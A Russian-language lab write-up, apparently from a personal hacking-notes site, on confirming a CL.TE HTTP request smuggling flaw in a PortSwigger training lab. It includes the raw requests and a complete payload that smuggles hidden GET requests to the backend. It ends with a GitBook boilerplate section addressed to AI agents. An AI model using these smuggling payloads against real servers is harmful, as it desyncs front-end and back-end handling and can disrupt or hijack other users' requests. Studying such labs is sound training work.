> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).

# Подтверждение уязвимости CL.TE через дифференциальные ответы

### HTTP Request Smuggling: подтверждение уязвимости CL.TE с помощью различающихся ответов

В этом лабораторном задании используются фронтенд-сервер и внутренний сервер. Фронтенд-сервер **не обрабатывает chunked** кодирование. / Цель — **провести запрос к бэкенду скрытно** так, чтобы следующий запрос к **/** вызвал ответ **404 Не найдено**.

> **Примечание:** Даже если лаборатория принимает HTTP/2, необходимый метод можно использовать только в HTTP/1. / **Совет:** Плагин Burp HTTP Request Smuggler помогает автоматически пересчитывать длины.

#### Начальное наблюдение

Фронтенд интерпретирует **Content-Length**, тогда как бэкенд основан на **Transfer-Encoding**. / Отправка минимального запроса:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```

Затем, добавив параметр, длина логически становится 9:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9

test=test
```

<figure><img src="/files/a41f2bf8e2c71336b7ba364fd479848911a21da3" alt=""><figcaption></figcaption></figure>

Чтобы избежать автоматического пересчёта длины, вводится новый заголовок.

<figure><img src="/files/53a884f9c862ac145917fef58a8b82b8e0c71294" alt="" width="392"><figcaption></figcaption></figure>

#### Добавление *Transfer-Encoding*

Если мы добавим:

```http
Transfer-Encoding: chunked
```

сервер возвращает ошибку рассинхронизации:

HTTP/1.1 500 Internal Server Error

<figure><img src="/files/b93d35302eb9f0418af402859194d0008a8d02d0" alt=""><figcaption></figcaption></figure>

Однако при отправке корректной chunked-нагрузки:

```http
Content-Length: 13
Transfer-Encoding: chunked

3
abc
0
```

<figure><img src="/files/482d8bd0270cbecd4ed867c5c2a39a92f80911cb" alt=""><figcaption></figcaption></figure>

ответ приходит в **200 OK**.

<figure><img src="/files/e431e3143919cdcb09347d19bb3a14533f4b88e6" alt=""><figcaption></figcaption></figure>

Мы также можем проверить:

```http
Content-Length: 5
Transfer-Encoding: chunked

0

```

#### Инъекция запроса в бэкенд

Чтобы получить **404**, нужно заставить бэкенд обработать дополнительный запрос. / Если добавить:

```http
GET /error HTTP/1.1
Тест: A
```

и что бэкенд правильно интерпретирует скрытый запрос, он выполняет `GET /error`.

Полный пример:

```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

3
abc
0

GET /error HTTP/1.1
Тест: A
```

Первый ответ приходит в **200**, но следующий запрос, отправленный браузером, вызывает **404**, что является доказательством рассинхронизации.

<figure><img src="/files/a4944e2da3a9dd645a5b81d9474726ea937d477c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/917511930f2ec906f339c68690faaf836eba2b74" alt=""><figcaption></figcaption></figure>

#### Вариант: открыть другую страницу

Если вы хотите, чтобы бэкенд выполнил другой ресурс, например:

```http
GET /post?postId=4 HTTP/1.1
Тест: A
```

тогда на главной странице будет отображаться содержимое, соответствующее посту 4, что подтверждает, что скрытый запрос был обработан бэкендом.

<figure><img src="/files/46cbffbb1d7a1453dcc03c9de80845aac0bf6da6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
